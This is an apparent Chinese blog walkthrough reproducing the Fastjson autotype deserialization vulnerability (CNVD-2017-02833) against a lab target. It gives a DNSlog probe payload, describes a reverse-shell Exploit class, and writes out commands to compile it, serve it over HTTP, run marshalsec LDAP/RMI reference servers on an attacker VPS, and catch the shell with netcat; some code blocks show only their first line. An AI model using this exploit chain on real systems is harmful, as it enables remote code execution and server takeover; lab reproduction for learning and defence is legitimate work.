FastJson漏洞cnvd-2017-02833复现
Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象
fastjson在解析json的过程中,支持使用@type字段来指定反序列化的类型,并调用该类的set/get方法来访问属性,当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,
使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,即可构造出一些恶意利用链。
靶机开启是一个Json格式的页面
Json格式的数据,这肯定得试一波有没有fastjson漏洞哇
漏洞验证
burp抓包故意用错误的json格式,发包,发现他喵的居然执行正常,但是我的json格式不对哇,思来想去,还去舔了个大佬,最后发现他喵的用POST请求就报错了。
怨种是我,用的阿里的FastJson,确定无疑,利用POC验证一下,这里我推荐使用dnslog
1 | {"a":{"@type":"java.net.Inet4Address","val":"dnslog"}} |
dnslog有记录,说明命令能成功执行,存在FastJson漏洞
生成class文件
先创建一个Exploit.java文件,下面代码的意思就是反弹一个shell到指定IP上,要是你不想用这个名字,也可以自己取一个名字,记得改下面代码中类的名字。
xxxxxxx为你的VPS的IP,端口为1111,这个1111端口就是后面VPS反弹Shell时监听的端口。
记得在你的VPS里设置这些端口都开放!
1 | import java.io.BufferedReader; |
编译生成class文件
1 | javac Exploit.java |
得到 一个Exploit.class文件
VPS开启HTTP服务
1 | python3 -m http.server 8000 |
开启LDAP服务或者RMI服务
LDAP服务
VPS利用刚刚开启的HTTP服务来开启LDAP服务,LDAP服务利用9999端口,这里记清楚自己开的哪种服务,后面才好利用对应的Payload,我是怨种。
这里用到了marshalsec-0.0.3-SNAPSHOT-all.jar文件,这个文件网上有,百度一搜就出来了。
两种服务,二选一。
1 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://VPS的IP:8000/#Exploit 9999 |
RMI服务
也可以开启RMI服务,RMI服务利用9999端口
1 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://VPS的IP:8000/#Exploit" 9999 |
监听
然后VPS监听端口 1111,这个端口和Exploit.java文件中的端口一致。
1 | nc -lvvp 1111 |
发送PayLoad
向刚刚开启的LDAP服务或者RMI服务发送命令。记住前面用的什么服务,这儿就用什么服务,要一致!!!我就是没看仔细,搞错了,检查半天才发现服务开错了,他喵的。
1 | { |
奶奶的,总是反弹不成功
最后发现用RMI不行,得用LDAP,我才发现我VPS开启的是LDAP服务,我擦。
反弹Shell成功
找到一个宝藏大佬收集的姿势:https://github.com/safe6Sec/Fastjson